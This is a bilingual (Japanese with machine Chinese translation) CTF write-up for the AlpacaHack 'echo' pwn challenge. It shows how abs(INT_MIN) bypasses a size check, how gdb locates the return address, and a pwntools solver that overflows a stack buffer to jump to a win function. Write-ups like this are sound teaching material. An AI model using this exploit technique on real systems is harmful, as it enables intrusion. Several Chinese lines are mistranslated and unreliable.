AlpacaHack Round 1 (Pwn) Writeup

WriteUp 4周前 admin
53 0 0

[pwn] echo [pwn] 回声

c言語で書かれたソースコードmain.cとビルド済みバイナリechoが与えられる。ソースコードは以下。
您将获得一个用 C 编写的源代码 Main.c 和一个预构建的二进制 Echo。 源代码如下。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

win関数が呼べればフラグが得られる。流れとしてはecho関数に入ったあと、get_size関数で入力文字長を取得して、get_data関数でデータを入力している。checksecでバイナリを見てみよう。
如果可以调用 win 函数,则可以获取一个标志。 流程是进入echo函数,用get_size函数获取输入字符长度,用get_data函数输入数据。 让我们看一下带有 checksec 的二进制文件。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Stackを見るとリターンアドレス書き換えを防止するCanaryが付いていない。win関数を呼べればフラグが得られるという点も考えても、リターンアドレスを書き換えればよさそうだ。
如果您查看堆栈,则没有 Canary 可以阻止重写返回地址。 考虑到如果可以调用win函数,则可以获得一个标志,因此似乎可以重写返回地址。

get_data関数はsize文字分読み取ってbufに書き込んでいる。bufはBUF_SIZE分取られているので、これを超えて書き込むことができればリターンアドレスを書き換えて、関数から戻った先をwin関数に変えることができる。
get_data函数读取大小字符并将它们写入 buf。 由于 buf 取了 BUF_SIZE 分钟,如果可以写到超过这个值,就可以重写返回地址,并且从函数返回的目的地可以改为 win 函数。

get_data関数で使うsizeはget_size関数で取得しているが、ここでsizeがBUF_SIZEを超えないように検証処理が入っている。get_size関数を再掲しよう。
get_data函数中使用的大小是通过 get_size 函数获得的,但此处包含验证过程,以便大小不超过 BUF_SIZE。 让我们重新发布 get_size 函数。

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

abs関数を使って負の数を受け入れないようにしている。これを回避する方法が無いかpwn ctf absとかで調べてみたが見当たらない。ChatGPTに聞いてみると教えてくれた。
abs 函数用于避免接受负数。 我检查了 PWN CTF ABS,看看是否有办法避免这种情况,但我找不到。 我问ChatGPT,他告诉我。

Q: absって壊れたりしますか? 问:ABS会破裂吗?
A: abs 関数自体が壊れることは通常ありませんが、特定の状況や誤った使い方によって問題が生じる場合があります。
答:腹肌功能本身通常不会损坏,但在某些情况下或使用不当可能会出现问题。

[省略]

abs 関数で問題が発生する可能性のあるシナリオ 您可能会遇到 abs 功能问题的情况
符号付き整数のオーバーフロー: 有符号整数溢出:
abs 関数を INT_MIN に適用すると、オーバーフローが発生する可能性があります。例えば、32ビットの int 型では、INT_MIN は -2147483648 です。これを絶対値にすると 2147483648 となりますが、int の最大値は 2147483647 であるため、これを表現できずにオーバーフローが発生します。
将 abs 函数应用于 INT_MIN 可能会导致溢出。 例如,在 32 位 int 类型中,INT_MIN为 -2147483648。 如果将其设为绝对值,则为2147483648值,但由于 int 的最大值为 2147483647,因此无法表示,从而导致溢出。

なるほどー!!ということで-2147483648を入力することで自由文字長入力できるようになる。あとは、バッファーオーバーフローでリターンアドレスを書き換えよう。
明白了!! 因此,通过输入 -2147483648,您将能够输入自由字符长度。 之后,让我们用缓冲区溢出重写返回地址。

gdb+pedaでechoを起動してスタックの状態を見てみる。gdb ./echoで起動してstartでステップ実行開始。niで進んでいき、echo関数に入りたいので0x4013cf <main+53>: call 0x401321 <echo>まで来たら中に入るためにstepする。そこからniでさらに進むとスタックが整ってくるので、数ステップ行ったらstack 50とかでスタックが見られる。
使用 gdb+peda 启动 echo 并查看堆栈状态。 从 gdb ./echo 开始,从 start 开始单步执行。 由于我们要使用 ni 和 Thailand 进入回声函数0x4013cf我们将在达到 <main+53> 时步入:调用 0x401321 <echo> 从那里开始,如果你在NI中走得更远,堆栈就会就位,所以如果你走几步,你可以看到堆栈50或其他东西的堆栈。

0272| 0x7fffffffdca0 --> 0x7fffffffdcb0 --> 0x1
0280| 0x7fffffffdca8 --> 0x4013d4 (<main+58>:   mov    eax,0x0)
0288| 0x7fffffffdcb0 --> 0x1

以上のようにオフセットが280の地点にmain関数へのリターンアドレスが書いてあった。bufへの書き込みもniで進めていきAAAAAを書き込んでみると
如上图所示,main 函数的返回地址写在偏移量为 280 的地方。 如果您继续使用 ni 写入 buf 并写入 AAAAA

0000| 0x7fffffffdb90 --> 0x4141414141 ('AAAAA')

のようにオフセット0の地点から書き込まれることが分かった。(ちゃんと計算する方が地力が付きそうだが…)スタックの状態を見るとbufに280バイト分ゴミデータを書き込んだあと、win関数のアドレスを書き込めばリターンアドレスをwin関数のものに変更ができる。ということで以下のようにpwntoolsを使ってソルバーを書くとフラグ獲得。
结果发现,它是从偏移量 0 的点开始编写的,如下所示。 (看来正确计算会更强大…… 查看堆栈状态,您可以通过向 buf 写入 280 字节的垃圾数据,然后写入 win 函数的地址,将返回地址更改为 win 函数的返回地址。 因此,如果您使用 pwntools 编写求解器,如下所示,您将获得一个标志。

from pwn import *

win = ELF("./echo").symbols["win"]

p = process('./echo')
#p = remote("[redacted]", [redacted])

p.sendlineafter(b"Size: ", b"-2147483648")
p.sendlineafter(b"Data: ", b'A' * 280 + p32(win))
print(p.recvall())

原文始发于はまやんはまやんはまやん:AlpacaHack Round 1 (Pwn) Writeup

版权声明:admin 发表于 2024年8月20日 上午10:20。
转载请注明:AlpacaHack Round 1 (Pwn) Writeup | CTF导航

相关文章